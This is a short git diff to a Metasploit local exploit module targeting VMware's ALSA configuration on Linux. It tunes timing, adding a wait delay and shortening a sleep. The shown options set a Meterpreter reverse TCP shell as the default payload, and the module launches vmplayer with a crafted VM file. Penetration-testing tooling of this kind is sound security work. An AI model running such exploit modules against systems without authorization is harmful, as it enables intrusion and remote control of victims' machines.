diff --git a/modules/exploits/linux/local/vmware_alsa_config.rb b/modules/exploits/linux/local/vmware_alsa_config.rb
index 31f23ede30..e11a3a18d7 100644
--- a/modules/exploits/linux/local/vmware_alsa_config.rb
+++ b/modules/exploits/linux/local/vmware_alsa_config.rb
@@ -46,6 +46,7 @@ class MetasploitModule < Msf::Exploit::Local
       'DefaultOptions' =>
         {
           'Payload'     => 'linux/x64/meterpreter_reverse_tcp',
+          'WfsDelay'    => 15,
           'PrependFork' => true
         },
       'DefaultTarget'  => 1,
@@ -212,7 +213,7 @@ hook_func.pulse_load_if_running {
 
     print_status "Launching VMware Player..."
     cmd_exec "vmplayer #{@base_dir}/#{fname}.vmx"
-    Rex.sleep 5 # give vmplayer some time to launch
+    Rex.sleep 0.5
   end
 
   def cleanup